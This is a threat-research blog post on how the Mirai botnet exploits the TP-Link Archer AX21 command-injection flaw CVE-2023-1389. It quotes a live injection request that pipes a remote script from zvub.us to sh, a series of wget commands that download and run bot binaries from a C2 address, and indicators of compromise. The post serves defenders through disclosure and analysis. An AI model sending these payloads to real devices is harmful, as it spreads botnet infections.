



PRIVACY WHO WE ARE HOW IT WORKS BLOG ADVISORIES [LOG IN](#) | [SIGN UP](#)

[SUBSCRIBE](#)

# TP-LINK WAN-SIDE VULNERABILITY CVE-2023-1389 ADDED TO THE MIRAI BOTNET ARSENAL

April 24, 2023 | Peter Girnus



PRIVACY

WHO WE ARE

HOW IT WORKS

BLOG

ADVISORIES

LOG IN | SIGN UP



This bug in the TP-Link Archer AX21 Wi-Fi router was originally disclosed to ZDI during the Pwn2Own Toronto event, where it was used by Team Viettel in their [LAN-side](#) entry against the TP-Link device and by Qrious Security in their [WAN-side](#) entry.

Both teams' entries were successful at the contest, and the vulnerabilities were disclosed to the vendor. Interestingly, the bug was also used by the Tenable team in their unsuccessful Pwn2Own attempt against the device. They, too, disclosed the bug to TP-Link, but their [public](#) report did not show that the bug could be exploited on the WAN interface. TP-Link released a firmware [update](#) in March that "Fixed some security issues" – including this and other CVEs. It was after this fix was made public that exploit attempts using this CVE were detected in the wild.

### Vulnerability Details

The bug itself is an unauthenticated command injection vulnerability in the `locale` API available via the web management interface. This endpoint allows a user to specify the form we want to call by specifying the query string `form` along with an operation, which is usually `read` or `write`. In this instance, we are interested in the `write` operation on the `country` form, which is handled by the `set_country` function. This function will call `merge_config_by_country` that concatenates the specified `country` field into a command string. This command string will be executed using the `popen` function. There is no sanitization of the `country` field, so an attacker can achieve command injection at this point.

This functionality is exposed on the LAN side of the router, as evidenced by both Team Viettel and Tenable targeting this functionality at the contest. However, the team from Qrious Security was able to exploit this vulnerability on the WAN interface of the router. They discovered a race condition issue related to `iptable` handling on the TP-Link's WAN-side processing that would briefly expose this functionality on the WAN-side. This allowed them to chain the race condition weakness with the `locale` API command injection to gain code execution at the contest. According to TP-Link, both issues were resolved in the patch released on March 17.

### Active Exploitation Details

Starting on April 11th, we began seeing notifications from our telemetry system that a threat actor had started to publicly exploit this vulnerability. You can see an example of the attack here:

```
POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: [REDACTED]
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 60

operation=write&country=$(id>`wget http://zvub.us/y -O-|sh`)
```

Most of the initial activity was seen attacking devices in Eastern Europe, but we are now observing detections in other locations around the globe.



PRIVACY

WHO WE ARE

HOW IT WORKS

BLOG

ADVISORIES

LOG IN | SIGN UP

Mirai command and control (C2) servers to download and execute a series of binary payloads. These binary payloads are intended for various system architectures. This is one such request:

```
>/tmp/.a && cd /tmp
>/dev/.a && cd /dev 130      185.225.74.251      TCP      56 49598 → 8888 [ACK] Seq=1
>/dev/shm/.a && cd /dev/shm 185.225.74.251      TCP      96 49598 → 8888 [PSH, ACK]
>/var/.a && cd /var 251      172.16.186.130      TCP      62 8888 → 49598 [ACK] Seq=1
>/var/tmp/.a && cd var/tmp 185.225.74.251      TCP      56 49598 → 8888 [FIN, ACK]
4779 185.225.74.251      172.16.186.130      TCP      62 8888 → 49598 [ACK] Seq=1
wget http://185.225.74.251/armv4l; chmod 777 armv4l; ./armv4l multi.armv4l; rm -rf armv4l
wget http://185.225.74.251/armv5l; chmod 777 armv5l; ./armv5l multi.armv5l; rm -rf armv5l
wget http://185.225.74.251/armv6l; chmod 777 armv6l; ./armv6l multi.armv6l; rm -rf armv6l
wget http://185.225.74.251/armv7l; chmod 777 armv7l; ./armv7l multi.armv7l; rm -rf armv7l
wget http://185.225.74.251/mips; chmod 777 mips; ./mips multi.mips; rm -rf mips
wget http://185.225.74.251/mipsel; chmod 777 mipsel; ./mipsel multi.mipsel; rm -rf mipsel
wget http://185.225.74.251/sh4; chmod 777 sh4; ./sh4 multi.sh4; rm -rf sh4
wget http://185.225.74.251/x86_64; chmod 777 x86_64; ./x86_64 multi.x86_64; rm -rf x86_64
wget http://185.225.74.251/i686; chmod 777 i686; ./i686 multi.i686; rm -rf i686
wget http://185.225.74.251/i586; chmod 777 i586; ./i586 multi.i586; rm -rf i586
wget http://185.225.74.251/arc; chmod 777 arc; ./arc multi.arc; rm -rf arc
wget http://185.225.74.251/m68k; chmod 777 m68k; ./m68k multi.m68k; rm -rf m68k
wget http://185.225.74.251/sparc; chmod 777 sparc; ./sparc multi.sparc; rm -rf sparc
```

The binary payloads are downloaded and then executed using brute-force methodology to find the appropriate payload for the target system architecture.

```
Connecting to 185.225.74.251:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46960 (46K) [application/octet-stream]
Saving to: 'i586.1'

i586.1                                100%[=====] 45.86K 68.9KB/s   in 0.7s

2023-04-21 22:54:26 (68.9 KB/s) - 'i586.1' saved [46960/46960]

listening tun0
```

Once the appropriate binary is found and the payload is installed, the host becomes fully infected and establishes a connection with the Mirai C2. Here's a network trace showing this connection:

No.	Time	Source	Destination	Protocol	Length	Info
364	26.050991023	172.16.186.130	185.225.74.251	TCP	76 38764 → 8888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=233093723 TSecr=6 WS=128	
366	26.4708794188	185.225.74.251	172.16.186.130	TCP	62 8888 → 38764 [SYN, ACK] Seq=8 Ack=1 Win=64240 Len=0 MSS=1466	
368	26.470853324	172.16.186.130	185.225.74.251	TCP	56 38764 → 8888 [ACK] Seq=1 Ack=1 Win=64240 Len=0	
370	26.471293884	172.16.186.130	185.225.74.251	TCP	96 38764 → 8888 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=48	
372	26.471869297	185.225.74.251	172.16.186.130	TCP	62 8888 → 38764 [ACK] Seq=1 Ack=1 Win=64240 Len=0	
458	36.481762981	172.16.186.130	185.225.74.251	TCP	116 38764 → 8888 [PSH, ACK] Seq=41 Ack=1 Win=64240 Len=60	
459	36.482224867	185.225.74.251	172.16.186.130	TCP	62 8888 → 38764 [ACK] Seq=1 Ack=1 Win=64240 Len=0	
460	36.841037113	185.225.74.251	172.16.186.130	TCP	72 8888 → 38764 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=16	
461	36.841053907	172.16.186.130	185.225.74.251	TCP	56 38764 → 8888 [ACK] Seq=101 Ack=17 Win=64244 Len=0	

While analyzing some of the payloads, we determined that the threat actors are encrypting strings using `0x00` and `0x22` as XOR keys. Unencrypting these strings revealed some of the capabilities and configuration details that correspond with known Mirai indicators.

```
"listening tun0 63.txt
"/proc/
"/exe
"TSrc Engine Query
"/etc/resolv.conf
"nameserver
"Connection: keep-alive
"setCookie('
"refresh:
"location:
"set-cookie:
"content-length:
"transfer-encoding:
"chunked
"connection:
"server: dosarrest
"server: cloudflare-nginx
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
"Accept-Language: en-US,en;q=0.8
""""Content-Type: application/x-www-form-urlencoded
""""Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
""Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
""Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
```



In Mirai's source code. For example:

```
/* Attack strings */  
#define TABLE_ATK_VSE  
#define TABLE_ATK_RESOLVER  
#define TABLE_ATK_NSERV  
29 /* TSource Engine Query */  
30 /* /etc/resolv.conf */  
31 /* "nameserver " */
```

Among the interesting functions is a **TSource Engine Query** attack functionality. This can be used to launch a Valve Source Engine (VSE) distributed denial-of-service (DDoS) attack against game servers.

The unencrypted strings reveal further configuration details about this Mirai bot. These include specific User-Agent strings and server headers, such as `cloudflare-nginx` and `dosarrest`. These allow the bot to imitate legitimate traffic, making it more difficult to separate DDoS traffic from legitimate network traffic.



The following hashes and other data were detected as being used by this exploit:

*Initial Downloader*

888f4a852642ce70197f77e213456ea2b3cfca4a592b94647827ca45adf2a5b8

*Payloads*

b43a8a56c10ba17ddd6fa9a8ce10ab264c6495b82a38620e9d54d66ec8677b0c  
b45142a2d59d16991a38ea0a112078a6ce42c9e2ee28a74fb2ce7e1edf15dce3  
366ddbbaa36791cdb99cf7104b0914a258f0c373a94f6cf869f946c7799d5e2c6  
413e977ae7d359e2ea7fe32db73fa007ee97ee1e9e3c3f0b4163b100b3ec87c2  
2d0c8ab6c71743af8667c7318a6d8e16c144ace8df59a681a0a7d48affc05599  
4cb8c90d1e1b2d725c2c1366700f11584f5697c9ef50d79e00f7dd2008e989a0  
461f59a84ccb4805c4bbd37093df6e8791cdf1151b2746c46678dfe9f89ac79d  
aed078d3e65b5ff4dd4067ae30da5f3a96c87ec23ec5be44fc85b543c179b777  
0d404a27c2f511ea7f4adb8aa150f787b2b1ff36c1b67923d6d1c90179033915  
eca42235a41dbd60615d91d564c91933b9903af2ef3f8356ec4cff2880a2f19  
3f427eda4d4e18fb192d585fca1490389a1b5f796f88e7ebf3eceec51018ef4d  
aad446e4e7bfc05a33c8d9e5acf56b1c7e95f2d919b98151ff2db327c333f089  
4f53eb7fbfa5b68cad3a0850b570cbbcb2d4864e62b5bf0492b54bde2bdbe44b

*URLs*

[http://185\[.\]225\[.\]74\[.\]251/armv41](http://185[.]225[.]74[.]251/armv41)  
[http://185\[.\]225\[.\]74\[.\]251/armv51](http://185[.]225[.]74[.]251/armv51)  
[http://185\[.\]225\[.\]74\[.\]251/armv61](http://185[.]225[.]74[.]251/armv61)  
[http://185\[.\]225\[.\]74\[.\]251/armv71](http://185[.]225[.]74[.]251/armv71)  
[http://185\[.\]225\[.\]74\[.\]251/mips](http://185[.]225[.]74[.]251/mips)  
[http://185\[.\]225\[.\]74\[.\]251/mipsel](http://185[.]225[.]74[.]251/mipsel)  
[http://185\[.\]225\[.\]74\[.\]251/sh4](http://185[.]225[.]74[.]251/sh4)  
[http://185\[.\]225\[.\]74\[.\]251/x86\\_64](http://185[.]225[.]74[.]251/x86_64)  
[http://185\[.\]225\[.\]74\[.\]251/i686](http://185[.]225[.]74[.]251/i686)  
[http://185\[.\]225\[.\]74\[.\]251/i586](http://185[.]225[.]74[.]251/i586)  
[http://185\[.\]225\[.\]74\[.\]251/arc](http://185[.]225[.]74[.]251/arc)  
[http://185\[.\]225\[.\]74\[.\]251/m68k](http://185[.]225[.]74[.]251/m68k)  
[http://185\[.\]225\[.\]74\[.\]251/sparc](http://185[.]225[.]74[.]251/sparc)

*Domain*

zvub[.]us

*IP Address*

185[.]225[.]74[.]251

**Conclusion**

Seeing this CVE being exploited so quickly after the patch being released is a clear demonstration of the decreasing "time-to-exploit" speed that we continue to see across the industry. That said, this is nothing new for the maintainers of the Mirai botnet, who are known for quickly exploiting IoT devices to maintain their foothold in an enterprise. Looking back at this CVE, it was also interesting to see it being discovered independently by multiple teams in preparation for the Pwn2Own Toronto contest. Each team used different techniques to discover this vulnerability along with distinctive approaches to how they went about exploiting it. We would like to thank all the teams at the Pwn2Own contest for finding and



PRIVACY WHO WE ARE HOW IT WORKS BLOG ADVISORIES [LOG IN](#) | [SIGN UP](#)

recommended action to address this vulnerability, and we recommend all users of the TP-Link Archer AX21 Wi-Fi router apply it as soon as possible.

Our threat hunting team continues to seek and find exploits being used in the wild, and we'll publish details on some of these discoveries in the future. Until then, follow the team on [Twitter](#), [Mastodon](#), [LinkedIn](#), or [Instagram](#) for the latest in exploit techniques and security patches.

TPLink Pwn2Own Exploit Threat Hunting



## PWN2OWN IRELAND 2024: DAY FOUR AND MASTER OF PWN

[Pwn2Own](#)



## PWN2OWN IRELAND 2024: DAY THREE RESULTS

[Pwn2Own](#)



## PWN2OWN IRELAND 2024: DAY TWO RESULTS

[Pwn2Own](#), [Samsung](#), [Canon](#)

General Inquiries  
[zdi@trendmicro.com](mailto:zdi@trendmicro.com)

Find us on X  
[@thezdi](#)

Find us on Mastodon  
[Mastodon](#)

Media Inquiries  
[media\\_relations@trendmicro.com](mailto:media_relations@trendmicro.com)

Sensitive Email Communications  
[PGP Key](#)

**WHO WE ARE**  
[Our Mission](#)  
[Trend Micro](#)  
[TippingPoint IPS](#)

**HOW IT WORKS**  
[Process](#)  
[Researcher Rewards](#)  
[FAQS](#)  
[Privacy](#)

**ADVISORIES**  
[Published Advisories](#)  
[Upcoming Advisories](#)  
[RSS Feeds](#)

**BLOG**





PRIVACY WHO WE ARE HOW IT WORKS BLOG ADVISORIES [LOG IN](#) | [SIGN UP](#)